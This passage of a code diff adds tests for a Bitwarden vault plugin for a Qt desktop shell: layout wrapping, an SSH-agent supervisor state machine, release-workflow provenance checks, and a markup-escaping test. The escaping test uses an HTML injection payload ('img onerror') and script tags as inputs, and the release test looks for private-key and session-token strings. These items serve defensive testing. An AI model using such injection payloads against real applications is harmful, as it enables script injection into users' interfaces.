var clipped = value.length <= 20 ? value : value.slice(0, 17) + "..."
|
||||
return { label: name + ": " + clipped, icon: glyph, fontSize: 10, paddingX: 10 }
|
||||
}
|
||||
|
||||
// One: the state the panel actually opens in stays on a single line. If this
|
||||
// fails the row wraps by default, which is a worse row than a shorter label.
|
||||
function test_the_unfiltered_filter_row_is_one_line() {
|
||||
var row = { spacing: 6, buttons: [
|
||||
filterChip("Folders", "All", "\u{f024b}"),
|
||||
filterChip("Organizations", "All", "\u{f0991}"),
|
||||
filterChip("Types", "All", "\u{f003b}")
|
||||
] }
|
||||
var total = measure(row)
|
||||
verify(total <= panelBudget,
|
||||
"the default filter row needs " + total.toFixed(1) + "px of " + panelBudget
|
||||
+ " -- it would open already wrapped")
|
||||
}
|
||||
|
||||
// Two: no single chip can be wider than the panel, whatever is in the vault.
|
||||
// A Flow can move a button to the next line but never make one narrower, so
|
||||
// this is the one thing wrapping cannot rescue -- it is what the clip is for.
|
||||
function test_no_filter_chip_can_outgrow_the_panel_on_its_own() {
|
||||
var monstrous = "Acme Corporation Holdings International Limited"
|
||||
var names = [["Folders", "\u{f024b}"], ["Organizations", "\u{f0991}"], ["Types", "\u{f003b}"]]
|
||||
for (var i = 0; i < names.length; i++) {
|
||||
var chip = filterChip(names[i][0], monstrous, names[i][1])
|
||||
var width = buttonWidth(chip)
|
||||
verify(width <= panelBudget,
|
||||
names[i][0] + " chip reaches " + width.toFixed(1) + "px of " + panelBudget
|
||||
+ " with a long vault name -- the clip is not holding")
|
||||
}
|
||||
}
|
||||
|
||||
// --------------------------------------------------- the wrapping is real
|
||||
//
|
||||
// Everything above is arithmetic. This part instantiates the two containers
|
||||
// the fix relies on and checks they behave, because both do something a Row
|
||||
// does not: the header wraps, and the filter row shrink-wraps so it can stay
|
||||
// centred while it fits and take the whole panel when it cannot.
|
||||
//
|
||||
// The chips stand in for qs.Ui.Button -- which will not load here -- using
|
||||
// the same implicitWidth this file already restates.
|
||||
Component {
|
||||
id: chip
|
||||
Item {
|
||||
// Named, because inside a Component `parent` is the Flow it is created
|
||||
// in, not this Item -- reaching the label through `parent` silently
|
||||
// measures an empty string and nothing ever wraps.
|
||||
id: chipRoot
|
||||
property string label: ""
|
||||
property int px: 11
|
||||
implicitWidth: chipMetrics.advanceWidth + tc.controlGap + tc.iconWidth("\u{f01b4}")
|
||||
+ tc.controlPaddingX * 2 + tc.reservedBorder
|
||||
width: implicitWidth
|
||||
height: 26
|
||||
TextMetrics {
|
||||
id: chipMetrics
|
||||
font.family: "monospace"
|
||||
font.pixelSize: chipRoot.px
|
||||
text: chipRoot.label
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Item {
|
||||
id: headerHost
|
||||
width: tc.panelBudget
|
||||
height: 100
|
||||
Flow {
|
||||
id: headerFlow
|
||||
width: parent.width
|
||||
spacing: 8
|
||||
}
|
||||
}
|
||||
|
||||
Item {
|
||||
id: filterHost
|
||||
width: tc.panelBudget
|
||||
height: 100
|
||||
Flow {
|
||||
id: filterFlow
|
||||
anchors.horizontalCenter: parent.horizontalCenter
|
||||
spacing: 6
|
||||
// The binding under test, copied from Panel.qml: it reads the chips'
|
||||
// implicitWidth and never their width, so it cannot feed itself.
|
||||
readonly property real naturalWidth: {
|
||||
var total = 0
|
||||
for (var i = 0; i < children.length; i++) total += children[i].implicitWidth
|
||||
return total + spacing * Math.max(0, children.length - 1)
|
||||
}
|
||||
width: Math.min(parent.width, naturalWidth)
|
||||
}
|
||||
}
|
||||
|
||||
function fill(flow, labels, px) {
|
||||
for (var i = flow.children.length - 1; i >= 0; i--) flow.children[i].destroy()
|
||||
wait(20) // destroy() is deferred; the children are still there until it runs
|
||||
for (var j = 0; j < labels.length; j++) {
|
||||
chip.createObject(flow, { label: labels[j], px: px })
|
||||
}
|
||||
wait(20)
|
||||
compare(flow.children.length, labels.length, "the stub chips did not all get created")
|
||||
for (var k = 0; k < flow.children.length; k++) {
|
||||
verify(flow.children[k].implicitWidth > 0,
|
||||
"a stub chip measured as zero-width -- it is not measuring its label")
|
||||
}
|
||||
}
|
||||
|
||||
function overhang(flow, host) {
|
||||
var worst = 0
|
||||
for (var i = 0; i < flow.children.length; i++) {
|
||||
var child = flow.children[i]
|
||||
var edge = child.mapToItem(host, child.width, 0).x
|
||||
if (edge - host.width > worst) worst = edge - host.width
|
||||
}
|
||||
return worst
|
||||
}
|
||||
|
||||
function test_the_header_wraps_instead_of_pushing_a_button_off_the_panel() {
|
||||
fill(headerFlow, ["Back (Esc)", "Suggested here", "Edit", "Delete"], 11)
|
||||
var oneLine = headerFlow.height
|
||||
compare(overhang(headerFlow, headerHost), 0, "a button hangs past the panel at full width")
|
||||
|
||||
// The narrow panel a small screen actually produces.
|
||||
headerHost.width = 300
|
||||
wait(20)
|
||||
compare(overhang(headerFlow, headerHost), 0, "a button hangs past a 300px panel")
|
||||
verify(headerFlow.height > oneLine, "the header should have taken a second line")
|
||||
|
||||
headerHost.width = tc.panelBudget
|
||||
wait(20)
|
||||
compare(headerFlow.height, oneLine, "and should return to one line")
|
||||
}
|
||||
|
||||
function test_the_filter_row_stays_centred_while_it_fits_and_wraps_when_it_does_not() {
|
||||
fill(filterFlow, ["Unfiled", "Personal", "Favorites"], 10)
|
||||
verify(filterFlow.width < filterHost.width,
|
||||
"the row should shrink-wrap so it can be centred, got " + filterFlow.width)
|
||||
var left = filterFlow.x
|
||||
var right = filterHost.width - (filterFlow.x + filterFlow.width)
|
||||
verify(Math.abs(left - right) < 1.5, "not centred: left " + left + ", right " + right)
|
||||
|
||||
filterHost.width = 200
|
||||
wait(20)
|
||||
compare(filterFlow.width, 200, "the row should take the whole panel once it must wrap")
|
||||
compare(overhang(filterFlow, filterHost), 0, "a filter chip hangs past the panel")
|
||||
|
||||
filterHost.width = tc.panelBudget
|
||||
wait(20)
|
||||
verify(filterFlow.width < tc.panelBudget, "the row should shrink-wrap and re-centre")
|
||||
}
|
||||
|
||||
// The restated geometry above is only right while the kit's is unchanged.
|
||||
function test_button_geometry_is_still_the_kits() {
|
||||
var xhr = new XMLHttpRequest()
|
||||
xhr.open("GET", "file:///usr/share/omarchy/shell/Ui/Button.qml", false)
|
||||
xhr.send()
|
||||
var source = xhr.responseText || ""
|
||||
if (source.length === 0) return // kit not installed here; nothing to check
|
||||
verify(source.indexOf(
|
||||
"implicitWidth: row.implicitWidth + horizontalPadding * 2 "
|
||||
+ "+ _reservedBorderLeft + _reservedBorderRight") >= 0,
|
||||
"Ui/Button.qml no longer sizes itself the way this test assumes")
|
||||
verify(/spacing:\s*Style\.spacing\.controlGap/.test(source),
|
||||
"Ui/Button.qml no longer gaps its icon and label by controlGap")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,183 @@
|
||||
import QtQuick
|
||||
import QtTest
|
||||
import "../../BitwardenModel.js" as Model
|
||||
|
||||
// The supervision logic runs inside QML's own JavaScript engine, not Node's.
|
||||
// These cases re-prove the properties the panel depends on -- the inert
|
||||
// default, the one transition that opens the signing gate, and the bounded
|
||||
// failure paths -- against that engine, and check that the reducer never asks
|
||||
// the caller to wait for anything.
|
||||
TestCase {
|
||||
name: "SshAgent"
|
||||
|
||||
readonly property string readyLine: JSON.stringify({
|
||||
v: 1, type: "ready", socketPath: "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock",
|
||||
fifoPath: "/run/user/1000/qs-bitwarden-cli/ssh-keys.fifo", agentVersion: "0.1.0"
|
||||
})
|
||||
|
||||
function drive(state, events) {
|
||||
var actions = []
|
||||
for (var i = 0; i < events.length; i++) {
|
||||
var step = Model.sshAgentReduce(state, events[i])
|
||||
state = step.state
|
||||
actions.push(step.action)
|
||||
}
|
||||
return { state: state, actions: actions, last: actions[actions.length - 1] }
|
||||
}
|
||||
|
||||
function ready() {
|
||||
return drive(Model.sshAgentInitialState(), [
|
||||
{ kind: "enabled", value: true, nowMs: 0 },
|
||||
{ kind: "started", nowMs: 1 },
|
||||
{ kind: "line", line: readyLine, nowMs: 2 }
|
||||
])
|
||||
}
|
||||
|
||||
function test_disabled_supervisor_starts_nothing() {
|
||||
var run = drive(Model.sshAgentInitialState(), [
|
||||
{ kind: "started", nowMs: 0 },
|
||||
{ kind: "line", line: readyLine, nowMs: 1 },
|
||||
{ kind: "restartTimer", nowMs: 2 }
|
||||
])
|
||||
compare(run.state.phase, "disabled")
|
||||
compare(run.state.gateOpen, false)
|
||||
for (var i = 0; i < run.actions.length; i++) {
|
||||
verify(!run.actions[i].start)
|
||||
verify(!run.actions[i].writeHello)
|
||||
}
|
||||
}
|
||||
|
||||
function test_handshake_opens_the_signing_gate() {
|
||||
var run = ready()
|
||||
compare(run.state.phase, "ready")
|
||||
compare(run.state.gateOpen, true)
|
||||
compare(run.state.socketPath, "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock")
|
||||
compare(run.state.agentVersion, "0.1.0")
|
||||
}
|
||||
|
||||
function test_reductions_never_ask_qml_to_wait() {
|
||||
var run = ready()
|
||||
for (var i = 0; i < run.actions.length; i++) {
|
||||
verify(run.actions[i].wait === undefined)
|
||||
verify(run.actions[i].waitMs === undefined)
|
||||
verify(typeof run.actions[i].restartInMs === "number")
|
||||
}
|
||||
}
|
||||
|
||||
function test_helper_is_launched_by_absolute_plugin_path() {
|
||||
var dir = Model.pluginDirFromUrl("file:///home/u/.config/omarchy/plugins/bw/")
|
||||
compare(dir, "/home/u/.config/omarchy/plugins/bw")
|
||||
// The source comes from the bundle inspection; the command follows it
|
||||
// rather than guessing which binary to run.
|
||||
var cmd = Model.sshAgentHelperCommand(dir, "bundled")
|
||||
compare(cmd.length, 1)
|
||||
compare(cmd[0].charAt(0), "/")
|
||||
verify(cmd[0].indexOf("/home/u/.config/omarchy/plugins/bw/") === 0)
|
||||
compare(Model.sshAgentHelperCommand(Model.pluginDirFromUrl("file:///opt/bw/../etc/"), "bundled").length, 0)
|
||||
compare(Model.sshAgentHelperCommand(dir, "").length, 0)
|
||||
}
|
||||
|
||||
function test_helper_environment_is_minimal() {
|
||||
var env = Model.sshAgentHelperEnv("/run/user/1000")
|
||||
var keys = []
|
||||
for (var k in env) keys.push(k)
|
||||
compare(keys.length, 1)
|
||||
compare(keys[0], "XDG_RUNTIME_DIR")
|
||||
compare(Model.sshAgentHelperEnv("relative/dir"), null)
|
||||
}
|
||||
|
||||
function test_bad_output_closes_the_gate() {
|
||||
var cases = [
|
||||
{ line: "not json", code: "MALFORMED" },
|
||||
{ line: '{"v":2,"type":"locked","epoch":1}', code: "VERSION_MISMATCH" },
|
||||
{ line: '{"v":1,"type":"exec"}', code: "UNKNOWN_TYPE" },
|
||||
{ line: readyLine, code: "PROTOCOL" }
|
||||
]
|
||||
for (var i = 0; i < cases.length; i++) {
|
||||
var run = drive(ready().state, [{ kind: "line", line: cases[i].line, nowMs: 100 }])
|
||||
compare(run.state.errorCode, cases[i].code)
|
||||
compare(run.state.gateOpen, false)
|
||||
compare(run.last.stop, true)
|
||||
}
|
||||
}
|
||||
|
||||
function test_overlong_output_is_rejected_by_bytes() {
|
||||
var filler = new Array(Model.sshAgentMaxLineBytes()).join("é")
|
||||
var run = drive(ready().state, [{
|
||||
kind: "line", nowMs: 100,
|
||||
line: '{"v":1,"type":"error","code":"X","message":"' + filler + '"}'
|
||||
}])
|
||||
compare(run.state.errorCode, "LINE_TOO_LONG")
|
||||
compare(run.state.gateOpen, false)
|
||||
}
|
||||
|
||||
function test_blank_output_is_ignored() {
|
||||
var run = drive(ready().state, [{ kind: "line", line: "", nowMs: 100 }])
|
||||
compare(run.state.phase, "ready")
|
||||
compare(run.state.gateOpen, true)
|
||||
}
|
||||
|
||||
function test_stalled_handshake_is_bounded() {
|
||||
var run = drive(Model.sshAgentInitialState(), [
|
||||
{ kind: "enabled", value: true, nowMs: 0 },
|
||||
{ kind: "started", nowMs: 1 },
|
||||
{ kind: "handshakeTimeout", nowMs: Model.sshAgentHandshakeTimeoutMs() }
|
||||
])
|
||||
compare(run.state.errorCode, "HANDSHAKE_TIMEOUT")
|
||||
compare(run.state.gateOpen, false)
|
||||
compare(run.last.stop, true)
|
||||
}
|
||||
|
||||
function test_eof_closes_the_gate_and_backs_off() {
|
||||
var run = drive(ready().state, [{ kind: "exited", exitCode: 0, nowMs: 100 }])
|
||||
compare(run.state.gateOpen, false)
|
||||
compare(run.state.phase, "backoff")
|
||||
compare(run.last.restartInMs, Model.sshAgentRestartDelayMs(1))
|
||||
}
|
||||
|
||||
function test_crash_loop_stops_restarting() {
|
||||
var state = Model.sshAgentReduce(Model.sshAgentInitialState(),
|
||||
{ kind: "enabled", value: true, nowMs: 0 }).state
|
||||
var scheduled = 0
|
||||
var clock = 0
|
||||
for (var i = 0; i < Model.sshAgentMaxRestarts() + 2; i++) {
|
||||
clock += 10
|
||||
state = Model.sshAgentReduce(state, { kind: "started", nowMs: clock }).state
|
||||
clock += 10
|
||||
var step = Model.sshAgentReduce(state, { kind: "exited", exitCode: 101, nowMs: clock })
|
||||
state = step.state
|
||||
if (step.action.restartInMs >= 0) scheduled++
|
||||
if (state.phase !== "backoff") break
|
||||
clock += 10
|
||||
state = Model.sshAgentReduce(state, { kind: "restartTimer", nowMs: clock }).state
|
||||
}
|
||||
compare(state.phase, "failed")
|
||||
compare(state.errorCode, "CRASH_LOOP")
|
||||
compare(state.gateOpen, false)
|
||||
compare(scheduled, Model.sshAgentMaxRestarts())
|
||||
}
|
||||
|
||||
function test_backoff_is_capped() {
|
||||
verify(Model.sshAgentRestartDelayMs(1) < Model.sshAgentRestartDelayMs(2))
|
||||
compare(Model.sshAgentRestartDelayMs(99), Model.sshAgentRestartDelayMs(100))
|
||||
}
|
||||
|
||||
function test_disabling_stops_everything() {
|
||||
var run = drive(ready().state, [{ kind: "enabled", value: false, nowMs: 100 }])
|
||||
compare(run.state.phase, "disabled")
|
||||
compare(run.state.gateOpen, false)
|
||||
compare(run.last.stop, true)
|
||||
compare(run.last.cancelRestart, true)
|
||||
}
|
||||
|
||||
function test_reenabling_clears_a_crash_loop() {
|
||||
var failed = Model.sshAgentInitialState()
|
||||
failed.phase = "failed"
|
||||
failed.errorCode = "CRASH_LOOP"
|
||||
failed.failures = Model.sshAgentMaxRestarts() + 1
|
||||
var run = drive(failed, [{ kind: "enabled", value: true, nowMs: 0 }])
|
||||
compare(run.state.phase, "starting")
|
||||
compare(run.state.errorCode, "")
|
||||
compare(run.last.start, true)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
import QtQuick
|
||||
import QtTest
|
||||
import "../../BitwardenModel.js" as Model
|
||||
|
||||
TestCase {
|
||||
name: "SshItems"
|
||||
|
||||
function test_sanitized_items_are_filterable_and_public() {
|
||||
var items = Model.parseSanitizedItems(JSON.stringify({
|
||||
items: [{ id: "login", type: 1, name: "Login", login: { username: "u" } }],
|
||||
sshKeys: [{ id: "ssh", type: 5, name: "Deploy", favorite: true,
|
||||
sshKey: { publicKey: "ssh-ed25519 AAAA", fingerprint: "SHA256:fp" } }]
|
||||
}))
|
||||
compare(items.length, 2)
|
||||
compare(Model.filterItems(items, "AAAA", "all", "all", "all").length, 1)
|
||||
compare(Model.filterItems(items, "", "sshKey", "all", "all")[0].id, "ssh")
|
||||
verify(Model.itemDetailFromObject(items[1].rawObject).password === "")
|
||||
}
|
||||
|
||||
function test_ssh_generic_actions_fail_closed() {
|
||||
compare(Model.buildCreatePayload(5, "Deploy"), null)
|
||||
compare(Model.getItemCommand("ssh", 5).length, 0)
|
||||
compare(Model.editItemCommand("ssh", 5).length, 0)
|
||||
compare(Model.deleteItemCommand("ssh", 5).length, 0)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,195 @@
|
||||
#!/usr/bin/env node
|
||||
// A release is where this repository's committed binary stops being an
|
||||
// internal claim and becomes something other people install. These tests guard
|
||||
// the parts of that path which fail quietly: an elevated permission that leaks
|
||||
// out of the one job meant to hold it, an action pinned to a moving tag, a
|
||||
// publication that never re-checked the bytes it publishes, or a release whose
|
||||
// version agrees with nothing.
|
||||
//
|
||||
// They do not run a release. What can be checked here is that the definition
|
||||
// grants the least it can, verifies before it publishes, and says out loud
|
||||
// what its artifacts are and are not.
|
||||
//
|
||||
// node tests/release-provenance.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
|
||||
const repoRoot = path.join(__dirname, "..")
|
||||
const read = p => fs.readFileSync(path.join(repoRoot, p), "utf8")
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
|
||||
const release = read(".github/workflows/release.yml")
|
||||
const build = read(".github/workflows/agent-build.yml")
|
||||
const owners = read(".github/CODEOWNERS")
|
||||
|
||||
// Split the file into its jobs, so a question like "which job can write" has
|
||||
// a per-job answer rather than a whole-file one. Grepping the whole workflow
|
||||
// for `id-token: write` would pass just as happily if every job had it.
|
||||
const jobsBody = release.slice(release.indexOf("\njobs:"))
|
||||
const jobs = new Map(
|
||||
[...jobsBody.matchAll(/^ {2}([a-z][a-z0-9-]*):\n([\s\S]*?)(?=^ {2}[a-z][a-z0-9-]*:\n|$(?![\s\S]))/gm)]
|
||||
.map(([, name, body]) => [name, body]))
|
||||
|
||||
check("the workflow defines the three stages it describes",
|
||||
["gates", "verify", "release"].every(j => jobs.has(j)),
|
||||
`jobs found: ${[...jobs.keys()].join(", ")}`)
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// What triggers it, and what cannot
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
check("a release is a tag, not a branch push",
|
||||
/on:\n(?:.*\n)*?\s*push:\n\s*tags:\n\s*- 'v\*'/.test(release) && !/^\s*branches:/m.test(release),
|
||||
"the release workflow runs on something other than a version tag")
|
||||
check("a dispatch run can rehearse the whole path",
|
||||
/workflow_dispatch:/.test(release),
|
||||
"verification cannot be run without creating a tag")
|
||||
check("only a tag reaches the publishing job",
|
||||
/if: github\.ref_type == 'tag'/.test(jobs.get("release") || ""),
|
||||
"a dispatch run could publish a release or sign an attestation")
|
||||
check("a release in flight is never cancelled",
|
||||
/concurrency:[\s\S]{0,200}?cancel-in-progress: false/.test(release),
|
||||
"a second tag could cancel a half-published release")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Least privilege, and where it stops
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const topLevel = release.slice(0, release.indexOf("\njobs:"))
|
||||
check("the workflow is read-only by default",
|
||||
/^permissions:\n\s*contents: read\s*$/m.test(topLevel),
|
||||
"the default token carries more than read")
|
||||
|
||||
const elevated = ["contents: write", "id-token: write", "attestations: write"]
|
||||
for (const grant of elevated) {
|
||||
const holders = [...jobs].filter(([, body]) => body.includes(grant)).map(([name]) => name)
|
||||
check(`only the release job holds ${grant}`,
|
||||
holders.length === 1 && holders[0] === "release",
|
||||
`held by: ${holders.join(", ") || "nobody"}`)
|
||||
}
|
||||
check("the gates and verify jobs state their read-only scope rather than inheriting it",
|
||||
/permissions:\n\s*contents: read/.test(jobs.get("gates") || "")
|
||||
&& /permissions:\n\s*contents: read/.test(jobs.get("verify") || ""),
|
||||
"a later change to the default would silently widen these jobs")
|
||||
check("the elevated job runs behind an environment",
|
||||
/environment:\n\s*name: release/.test(jobs.get("release") || ""),
|
||||
"elevated credentials come into existence with no approval step")
|
||||
check("no secret is referenced",
|
||||
!/secrets\./.test(release),
|
||||
"a release should need nothing beyond the job's own token")
|
||||
|
||||
// A tag is a moving pointer, and this is the workflow that mints signing
|
||||
// credentials. Same argument as pinning the build image by digest, applied to
|
||||
// the code that runs the release.
|
||||
const actionUses = [...release.matchAll(/uses:\s*([^\s@]+)@(\S+)/g)]
|
||||
.filter(([, name]) => !name.startsWith("./"))
|
||||
check("every third-party action is pinned to a full commit SHA",
|
||||
actionUses.length > 0 && actionUses.every(([, , ref]) => /^[0-9a-f]{40}$/.test(ref)),
|
||||
actionUses.filter(([, , ref]) => !/^[0-9a-f]{40}$/.test(ref)).map(m => m[0]).join(", ") || "no actions used")
|
||||
check("each pin says which release it is, for a human",
|
||||
(release.match(/@[0-9a-f]{40} # v\d/g) || []).length === actionUses.length,
|
||||
"a bare SHA tells a reviewer nothing about what version it is")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// The gates are the branch's gates
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
check("the release calls the branch's gates instead of copying them",
|
||||
/uses: \.\/\.github\/workflows\/agent-build\.yml/.test(jobs.get("gates") || ""),
|
||||
"the release re-implements the checks, so the two can drift apart")
|
||||
check("the branch workflow is callable",
|
||||
/^\s*workflow_call:/m.test(build),
|
||||
"release.yml calls a workflow that does not accept being called")
|
||||
// The gates run as part of the release, so they share the called workflow's
|
||||
// concurrency group. Scoped by ref alone, a branch build and a release could
|
||||
// cancel each other -- which is exactly what release.yml's own
|
||||
// `cancel-in-progress: false` exists to prevent.
|
||||
check("a branch build and a release cannot cancel each other",
|
||||
/group: agent-build-\$\{\{ github\.workflow \}\}/.test(build)
|
||||
&& /cancel-in-progress: \$\{\{ github\.workflow != 'release' \}\}/.test(build),
|
||||
"the called workflow's concurrency group does not distinguish its callers")
|
||||
check("nothing publishes before those gates pass",
|
||||
/needs: gates/.test(jobs.get("verify") || "") && /needs: verify/.test(jobs.get("release") || ""),
|
||||
"the publishing job does not depend on verification")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// What the release verifies about itself
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const verify = jobs.get("verify") || ""
|
||||
check("the tag, the manifest and the changelog must agree",
|
||||
/manifest\.json says/.test(verify) && /CHANGELOG\.md has no/.test(verify),
|
||||
"a tag could name a version nothing else in the repository claims")
|
||||
check("the committed checksum is re-checked against the committed bytes",
|
||||
(release.match(/sha256sum -c SHA256SUMS/g) || []).length >= 2,
|
||||
"the binary and the checksum shipped beside it are never compared at release time")
|
||||
check("the helper's reported versions are checked against the panel's",
|
||||
/SSH_AGENT_CONTROL_VERSION/.test(verify) && /control protocol/.test(verify),
|
||||
"a protocol bump could ship to users and disable the feature at launch")
|
||||
check("the shipped binary is executed, not merely compiled",
|
||||
/--self-test/.test(verify), "nothing runs the bytes being released")
|
||||
// A container job's default shell is the image's `sh`. The scan step uses an
|
||||
// array, and sh has none: the first rehearsal of this workflow died on
|
||||
// `Syntax error: "(" unexpected` after every expensive step had already
|
||||
// passed.
|
||||
check("the container job declares bash rather than taking the image's sh",
|
||||
/defaults:\n\s*run:\n(?:\s*#[^\n]*\n)*\s*shell: bash/.test(verify),
|
||||
"a bashism in a container step fails at the end of a long job")
|
||||
|
||||
const releaseJob = jobs.get("release") || ""
|
||||
check("the release job runs the bytes outside the build container",
|
||||
!/container:/.test(releaseJob) && /--self-test/.test(releaseJob),
|
||||
"a binary that only works inside its own build image would still be published")
|
||||
check("the attestation names the shipped binary as its subject",
|
||||
/attest-build-provenance@[0-9a-f]{40}[\s\S]{0,300}?subject-path: bin\/x86_64-linux\/qs-bitwarden-ssh-agent/
|
||||
.test(releaseJob),
|
||||
"the provenance attestation does not bind the tracked bytes")
|
||||
check("the verification command is written down where a reviewer will find it",
|
||||
/gh attestation verify/.test(release),
|
||||
"users are given provenance with no documented way to check it")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// What the release publishes
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
check("an SBOM is published", /cyclonedx/.test(verify), "no SBOM is produced")
|
||||
check("a dependency and licence report is published",
|
||||
/cargo deny[\s\S]{0,140}?\blist\b/.test(verify) && /cargo tree/.test(verify),
|
||||
"users cannot see what is in the binary or under what terms")
|
||||
check("debug symbols are published separately from the shipped bytes",
|
||||
/only-keep-debug/.test(verify) && /\.debug/.test(verify),
|
||||
"a stripped binary ships with no way to debug it at all")
|
||||
// The release profile strips symbols, and a debug build links differently --
|
||||
// its entry point and code layout move. Publishing the file is fine.
|
||||
// Implying it maps onto the shipped bytes would not be.
|
||||
check("the debug symbols say plainly that they are not the shipped bytes",
|
||||
/DEBUG-SYMBOLS\.md/.test(verify) && /not[\s\S]{0,80}split of the shipped binary/i.test(verify),
|
||||
"the symbol file invites address-level conclusions it cannot support")
|
||||
check("release artifacts are scanned for key material before publication",
|
||||
/PRIVATE KEY/.test(verify) && /BW_SESSION/.test(verify),
|
||||
"nothing checks that a report or symbol file is free of secrets")
|
||||
check("the release notes are the changelog section for this version",
|
||||
/release-notes\.md/.test(releaseJob) && /no changelog section for/.test(releaseJob),
|
||||
"a release could publish empty notes or the entire changelog")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Who has to look at it
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
check("the release workflow requires code-owner review",
|
||||
/release\.yml/.test(owners) || /^\/\.github\/\s+@/m.test(owners),
|
||||
"the one workflow that can publish is not owned by anyone")
|
||||
check("the binary, its build script and the agent source stay owned",
|
||||
/^\/bin\/\s+@/m.test(owners) && /build-agent\.sh\s+@/m.test(owners) && /^\/agent\/\s+@/m.test(owners),
|
||||
"a change to the trust path could merge without review")
|
||||
|
||||
if (failures.length) {
|
||||
console.error(`\n${failures.length} failed, ${pass} passed\n`)
|
||||
failures.forEach(f => console.error(` FAIL ${f}`))
|
||||
process.exit(1)
|
||||
}
|
||||
console.log(`release-provenance: ${pass} passed`)
|
||||
@@ -0,0 +1,124 @@
|
||||
#!/usr/bin/env node
|
||||
// Vault values are attacker-controlled text, and Qt renders text as HTML the
|
||||
// moment it looks like markup. These tests pin both halves of the defence:
|
||||
// the neutralizer used for the shared kit controls, and the `textFormat`
|
||||
// every Text in the plugin's own QML must declare.
|
||||
//
|
||||
// node tests/rich-text.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.plainLabel = plainLabel
|
||||
exports.clipLabel = clipLabel
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
|
||||
|
||||
// --- plainLabel ---
|
||||
// Ordinary names cannot trip Qt's sniffer, so they must survive byte for byte:
|
||||
// this runs on labels a user reads next to their credentials.
|
||||
for (const name of ["Work", "Personal Vault", "e-mail (old)", "日本語", "", "a > b"]) {
|
||||
check(`plainLabel leaves ${JSON.stringify(name)} untouched`,
|
||||
Model.plainLabel(name) === name, JSON.stringify(Model.plainLabel(name)))
|
||||
}
|
||||
check("plainLabel maps null and undefined to an empty label",
|
||||
Model.plainLabel(null) === "" && Model.plainLabel(undefined) === "",
|
||||
JSON.stringify([Model.plainLabel(null), Model.plainLabel(undefined)]))
|
||||
|
||||
// Nothing that reaches the control may still read as a tag.
|
||||
const markup = Model.plainLabel("<img src=x onerror=alert(1)>")
|
||||
check("plainLabel escapes a tag out of existence",
|
||||
markup === '<span style="white-space:pre-wrap"><img src=x onerror=alert(1)></span>', markup)
|
||||
check("plainLabel escapes bold markup",
|
||||
Model.plainLabel("<b>Work</b>").indexOf("<b>") < 0, Model.plainLabel("<b>Work</b>"))
|
||||
|
||||
// Escaping alone is not enough: without the wrapper Qt may decide the escaped
|
||||
// string is plain text and show the entities raw. The wrapper forces the
|
||||
// rich-text path so "&" survives as "&".
|
||||
const amp = Model.plainLabel("AT&T <holdings>")
|
||||
check("plainLabel escapes ampersands and forces the rich-text path",
|
||||
amp === '<span style="white-space:pre-wrap">AT&T <holdings></span>', amp)
|
||||
check("plainLabel neutralizes a value that is already entity-encoded",
|
||||
Model.plainLabel("<script>") === '<span style="white-space:pre-wrap">&lt;script&gt;</span>',
|
||||
Model.plainLabel("<script>"))
|
||||
check("plainLabel is idempotent in the sense that re-running it cannot inject",
|
||||
Model.plainLabel(Model.plainLabel("<b>x</b>")).indexOf("<b>") < 0,
|
||||
Model.plainLabel(Model.plainLabel("<b>x</b>")))
|
||||
|
||||
// --- the QML side ---
|
||||
// Text defaults to Text.AutoText. Vault names, usernames, URIs, notes and Send
|
||||
// names all land in one of these, so every one of them has to say otherwise --
|
||||
// including the ones that only render a constant today.
|
||||
for (const file of ["Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml", "FormPickerRow.qml", "StatusNotice.qml", "DetailField.qml", "WheelScroll.qml"]) {
|
||||
const src = fs.readFileSync(path.join(__dirname, "..", file), "utf8").split("\n")
|
||||
const bare = []
|
||||
src.forEach((line, i) => {
|
||||
if (!/(?<![A-Za-z0-9_.])Text\s*\{/.test(line)) return
|
||||
const body = line.slice(line.search(/(?<![A-Za-z0-9_.])Text\s*\{/))
|
||||
const declared = body.includes("textFormat:") || (src[i + 1] || "").includes("textFormat:")
|
||||
if (!declared) bare.push(`${file}:${i + 1}`)
|
||||
})
|
||||
check(`every Text in ${file} pins textFormat`, bare.length === 0, bare.join(", "))
|
||||
}
|
||||
|
||||
// The kit's Button builds its own Text and exposes no textFormat, so the
|
||||
// strings we hand it have to arrive already neutralized.
|
||||
// Every QML file that draws vault-derived text, not just the largest one.
|
||||
const panel = ["Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml", "FormPickerRow.qml", "StatusNotice.qml", "DetailField.qml", "WheelScroll.qml"]
|
||||
.map(file => fs.readFileSync(path.join(__dirname, "..", file), "utf8"))
|
||||
.join("\n")
|
||||
for (const binding of ["formFolderLabel()", "formOrgLabel()", "Model.clipLabel(value, 20)",
|
||||
'name + " filter (" + shortcut + "): " + value']) {
|
||||
const line = panel.split("\n").find(l => l.includes(binding) && /^\s*(text|tooltipText):/.test(l))
|
||||
